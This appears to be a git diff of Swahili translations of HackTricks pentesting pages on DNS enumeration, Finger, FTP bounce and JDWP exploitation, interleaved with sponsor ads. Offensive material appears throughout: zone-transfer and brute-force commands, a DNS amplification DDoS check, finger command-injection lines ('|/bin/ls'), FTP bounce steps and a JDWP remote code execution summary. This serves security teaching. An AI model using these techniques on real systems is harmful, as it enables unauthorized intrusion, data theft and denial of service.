* **Resolver**: Imejumuishwa ndani ya kompyuta au route, resolvers hufanya ufumbuzi wa majina ndani ya eneo na hazichukuliwi kuwa na mamlaka.
|
||||
* **Resolver**: Imejumuishwa ndani ya kompyuta au ruta, resolvers hufanya ufumbuzi wa majina ndani na siyo zinazoonekana kuwa na mamlaka.
|
||||
|
||||
## Enumeration
|
||||
|
||||
|
@ -58,13 +60,13 @@ Pia inawezekana kupata bendera pia kwa kutumia skripti ya **nmap**:
|
|||
```
|
||||
### **Any record**
|
||||
|
||||
Rekodi **ANY** itauliza seva ya DNS **irudishe** zote **kadiria** ambazo **inaweza kufichua**.
|
||||
Rekodi **ANY** itaomba seva ya DNS **irudishe** zote **kadiria** ambazo **inaweza kufichua**.
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
### **Transferi ya Kanda**
|
||||
|
||||
Hii taratibu inajulikana kama `Asynchronous Full Transfer Zone` (`AXFR`).
|
||||
Utaratibu huu unafupishwa `Asynchronous Full Transfer Zone` (`AXFR`).
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
|
@ -100,7 +102,7 @@ nslookup
|
|||
```bash
|
||||
auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
```
|
||||
### Maneno muhimu ya nmap
|
||||
### Maneno muhimu ya nmap scripts
|
||||
```bash
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
|
@ -113,12 +115,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ikiwa unaweza kupata subdomains zinazotatua kwenye anwani za IP za ndani, unapaswa kujaribu kufanya reverse dns BF kwa NSs za domain inayouliza kwa anuwai hiyo ya IP.
|
||||
Ikiwa unaweza kupata subdomains zinazotatua kwenye anwani za IP za ndani, unapaswa kujaribu kufanya reverse dns BF kwa NSs za domain ukitafuta anuwai hiyo ya IP.
|
||||
{% endhint %}
|
||||
|
||||
Another tool to do so: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
Chombo kingine cha kufanya hivyo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
You can query reverse IP ranges to [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (this tool is also helpful with BGP).
|
||||
Unaweza kuuliza anuwai za IP za kinyume kwa [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (chombo hiki pia ni muhimu na BGP).
|
||||
|
||||
### DNS - Subdomains BF
|
||||
```bash
|
||||
|
@ -145,7 +147,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
Brute force kutumia maombi "AAAA" kukusanya IPv6 za subdomains.
|
||||
Brute force kutumia ombi "AAAA" kukusanya IPv6 za subdomains.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
|
@ -155,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
|||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Ikiwa **DNS recursion imewezeshwa**, mshambuliaji anaweza **kudanganya** **chanzo** kwenye pakiti ya UDP ili kufanya **DNS itume jibu kwa seva ya mwathirika**. Mshambuliaji anaweza kutumia aina za rekodi **ANY** au **DNSSEC** kwani huwa na majibu makubwa.\
|
||||
Ikiwa **DNS recursion imewezeshwa**, mshambuliaji anaweza **kudanganya** **chanzo** kwenye pakiti ya UDP ili kufanya **DNS itume jibu kwa seva ya mwathirika**. Mshambuliaji anaweza kutumia aina za rekodi **ANY** au **DNSSEC** kwani zinatumika kuwa na majibu makubwa.\
|
||||
Njia ya **kuangalia** ikiwa DNS inasaidia **recursion** ni kuuliza jina la kikoa na **kuangalia** ikiwa **bendera "ra"** (_recursion available_) iko kwenye jibu:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
|
@ -170,18 +172,20 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & pentesting**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Barua pepe kwa akaunti isiyopo
|
||||
### Barua pepe kwa akaunti isiyokuwepo
|
||||
|
||||
Kupitia uchambuzi wa arifa ya kutofika (NDN) iliyosababishwa na barua pepe iliyotumwa kwa anwani isiyo sahihi ndani ya eneo lengwa, maelezo muhimu ya mtandao wa ndani mara nyingi yanabainishwa.
|
||||
|
||||
Ripoti ya kutofika iliyotolewa inajumuisha maelezo kama:
|
||||
|
||||
* Seva inayozalisha ilitambuliwa kama `server.example.com`.
|
||||
* Arifa ya kushindwa kwa `user@example.com` yenye nambari ya kosa `#550 5.1.1 RESOLVER.ADR.RecipNotFound; haikupatikana` ilirudishwa.
|
||||
* Arifa ya kushindwa kwa `user@example.com` yenye nambari ya kosa `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` ilirudishwa.
|
||||
* Anwani za IP za ndani na majina ya mwenyeji yalifunuliwa katika vichwa vya ujumbe wa awali.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
@ -285,13 +289,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa uvamizi**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji wa uvamizi - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -299,7 +305,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za uvamizi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya upimaji kamili wa pentest kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapimaji wa pentest - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
## **Basic Info**
|
||||
|
||||
Programu/huduma ya **Finger** inatumika kupata maelezo kuhusu watumiaji wa kompyuta. Kawaida, taarifa zinazotolewa zinajumuisha **jina la kuingia la mtumiaji, jina kamili**, na, katika baadhi ya matukio, maelezo ya ziada. Maelezo haya ya ziada yanaweza kujumuisha eneo la ofisi na nambari ya simu (ikiwa inapatikana), wakati mtumiaji alingia, kipindi cha kutokuwa na shughuli (wakati wa kupumzika), tukio la mwisho barua pepe iliposomwa na mtumiaji, na maudhui ya mipango na faili za mradi za mtumiaji.
|
||||
The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.
|
||||
|
||||
**Bandari ya kawaida:** 79
|
||||
**Default port:** 79
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
79/tcp open finger
|
||||
|
@ -43,7 +45,7 @@ finger @<Victim> #List users
|
|||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
Vinginevyo unaweza kutumia **finger-user-enum** kutoka [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), mifano kadhaa:
|
||||
Mbadala, unaweza kutumia **finger-user-enum** kutoka [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), mifano kadhaa:
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
|
@ -66,28 +68,30 @@ finger "|/bin/ls -a /@example.com"
|
|||
```
|
||||
## Finger Bounce
|
||||
|
||||
[Tumia mfumo kama relay ya finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
[Tumia mfumo kama finger relay](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa penya - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa udukuzi**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -30,23 +32,25 @@ Ikiwa una ufikiaji wa seva ya bounce FTP, unaweza kuifanya iombe faili za seva n
|
|||
- Akidi halali za FTP katika seva ya FTP ya Mwathirika
|
||||
- Seva zote zinakubali amri ya PORT \(shambulio la bounce FTP\)
|
||||
- Unaweza kuandika ndani ya directory fulani ya seva ya Kati ya FRP
|
||||
- Seva ya kati itakuwa na ufikiaji zaidi ndani ya Seva ya FTP ya Mwathirika kuliko wewe kwa sababu fulani \(hii ndiyo unayokwenda kutumia\)
|
||||
- Seva ya kati itakuwa na ufikiaji zaidi ndani ya Seva ya FTP ya Mwathirika kuliko wewe kwa sababu fulani \(hii ndiyo unayotarajia kutumia\)
|
||||
|
||||
## Hatua
|
||||
|
||||
1. Unganisha kwenye seva yako ya FTP na fanya muunganisho kuwa passive \(amri ya pasv\) ili iweze kusikiliza katika directory ambapo huduma ya mwathirika itatuma faili
|
||||
2. Fanya faili ambayo itatumwa na seva ya Kati ya FTP kwa seva ya Mwathirika \(shambulio\). Faili hii itakuwa maandiko ya wazi ya amri zinazohitajika kuthibitisha dhidi ya seva ya Mwathirika, kubadilisha directory na kupakua faili kwenye seva yako mwenyewe.
|
||||
3. Unganisha kwenye Seva ya Kati ya FTP na pakia faili ya awali
|
||||
4. Fanya seva ya Kati ya FTP ianzishe muunganisho na seva ya mwathirika na itume faili la shambulio
|
||||
5. Kamatia faili kwenye seva yako ya FTP
|
||||
6. Futa faili la shambulio kutoka kwa seva ya Kati ya FTP
|
||||
1. Unganisha na seva yako ya FTP na fanya muunganisho kuwa passive \(amri ya pasv\) ili iweze kusikiliza katika directory ambapo huduma ya mwathirika itatuma faili
|
||||
2. Tengeneza faili ambayo itatumiwa na seva ya Kati ya FTP kwa seva ya Mwathirika \(shambulio\). Faili hii itakuwa maandiko ya wazi ya amri zinazohitajika kuthibitisha dhidi ya seva ya Mwathirika, kubadilisha directory na kupakua faili kwenye seva yako mwenyewe.
|
||||
3. Unganisha na Seva ya Kati ya FTP na pakia faili ya awali
|
||||
4. Fanya seva ya Kati ya FTP kuanzisha muunganisho na seva ya mwathirika na kutuma faili ya shambulio
|
||||
5. Kamatia faili katika seva yako ya FTP
|
||||
6. Futa faili ya shambulio kutoka kwa seva ya Kati ya FTP
|
||||
|
||||
Kwa maelezo zaidi angalia chapisho: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
Kwa maelezo zaidi ya kina angalia chapisho: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa udukuzi**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye upelelezi hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,29 +1,31 @@
|
|||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & upimaji wa uvamizi**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Exploiting
|
||||
## Kutumia
|
||||
|
||||
Utekelezaji wa JDWP unategemea **ukosefu wa uthibitishaji na usimbaji** wa protokali. Kwa kawaida hupatikana kwenye **bandari 8000**, lakini bandari nyingine zinaweza kuwa. Muunganisho wa awali unafanywa kwa kutuma "JDWP-Handshake" kwenye bandari lengwa. Ikiwa huduma ya JDWP inafanya kazi, inajibu kwa kutumia string ile ile, ikithibitisha uwepo wake. Hii handshake inafanya kazi kama njia ya kutambua huduma za JDWP kwenye mtandao.
|
||||
Matumizi ya JDWP yanategemea **ukosefu wa uthibitisho na usimbaji wa protokali**. Kwa kawaida hupatikana kwenye **bandari 8000**, lakini bandari nyingine zinaweza kuwa. Muunganisho wa awali unafanywa kwa kutuma "JDWP-Handshake" kwenye bandari lengwa. Ikiwa huduma ya JDWP inafanya kazi, inajibu kwa kutumia string ile ile, ikithibitisha uwepo wake. Hii handshake inafanya kazi kama njia ya kutambua huduma za JDWP kwenye mtandao.
|
||||
|
||||
Kwa upande wa utambuzi wa mchakato, kutafuta string "jdwk" katika michakato ya Java kunaweza kuashiria kikao cha JDWP kinachofanya kazi.
|
||||
|
||||
|
@ -39,31 +41,29 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
**Hii ni muhtasari wa [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Angalia kwa maelezo zaidi.
|
||||
|
||||
|
||||
1. **JDWP Muhtasari**:
|
||||
1. **JDWP Overview**:
|
||||
- Ni itifaki ya mtandao ya binary inayotumia pakiti, hasa synchronous.
|
||||
- Haina uthibitisho na usimbaji, hivyo inakuwa hatarini inapokuwa wazi kwa mitandao ya adui.
|
||||
|
||||
2. **JDWP Mkono wa Salamu**:
|
||||
- Mchakato rahisi wa mkono wa salamu unatumika kuanzisha mawasiliano. Mstari wa ASCII wenye herufi 14 “JDWP-Handshake” unabadilishana kati ya Debugger (mteja) na Debuggee (server).
|
||||
2. **JDWP Handshake**:
|
||||
- Mchakato rahisi wa handshake unatumika kuanzisha mawasiliano. Mstari wa ASCII wenye herufi 14 “JDWP-Handshake” unabadilishana kati ya Debugger (mteja) na Debuggee (server).
|
||||
|
||||
3. **JDWP Mawasiliano**:
|
||||
3. **JDWP Communication**:
|
||||
- Jumbe zina muundo rahisi zikiwa na maeneo kama Urefu, Id, Bendera, na CommandSet.
|
||||
- Thamani za CommandSet zinaanzia 0x40 hadi 0x80, zik representing hatua na matukio tofauti.
|
||||
|
||||
4. **Ushirikishaji**:
|
||||
4. **Exploitation**:
|
||||
- JDWP inaruhusu kupakia na kuita madarasa na bytecode zisizo na mipaka, hivyo kuleta hatari za usalama.
|
||||
- Makala inaelezea mchakato wa ushirikishaji katika hatua tano, ikihusisha kupata marejeleo ya Java Runtime, kuweka alama za kuvunja, na kuita mbinu.
|
||||
- Makala inaelezea mchakato wa unyakuzi katika hatua tano, ikihusisha kupata marejeleo ya Java Runtime, kuweka breakpoints, na kuita mbinu.
|
||||
|
||||
5. **Ushirikishaji wa Kweli**:
|
||||
- Licha ya uwezekano wa ulinzi wa firewall, huduma za JDWP zinaweza kupatikana na kuweza kushambuliwa katika hali halisi, kama inavyoonyeshwa na utafutaji kwenye majukwaa kama ShodanHQ na GitHub.
|
||||
- Skripti ya ushirikishaji ilijaribiwa dhidi ya toleo mbalimbali za JDK na ni huru ya jukwaa, ikitoa Utekelezaji wa Msimbo wa K remote (RCE) wa kuaminika.
|
||||
5. **Real-Life Exploitation**:
|
||||
- Licha ya uwezekano wa ulinzi wa firewall, huduma za JDWP zinaweza kupatikana na kuathiriwa katika hali halisi, kama inavyoonyeshwa na utafutaji kwenye majukwaa kama ShodanHQ na GitHub.
|
||||
- Skripti ya unyakuzi ilijaribiwa dhidi ya toleo mbalimbali za JDK na ni huru ya jukwaa, ikitoa Utekelezaji wa Msimbo wa K remote (RCE) wa kuaminika.
|
||||
|
||||
6. **Madhara ya Usalama**:
|
||||
- Uwepo wa huduma za JDWP zilizo wazi mtandaoni unaonyesha hitaji la ukaguzi wa mara kwa mara wa usalama, kuzima kazi za debug katika uzalishaji, na usanidi sahihi wa firewall.
|
||||
6. **Security Implications**:
|
||||
- Uwepo wa huduma za JDWP zilizo wazi mtandaoni unaonyesha umuhimu wa ukaguzi wa usalama wa mara kwa mara, kuzima kazi za debug katika uzalishaji, na usanidi sahihi wa firewall.
|
||||
|
||||
|
||||
### **Marejeleo:**
|
||||
### **References:**
|
||||
|
||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||
|
@ -80,21 +80,23 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
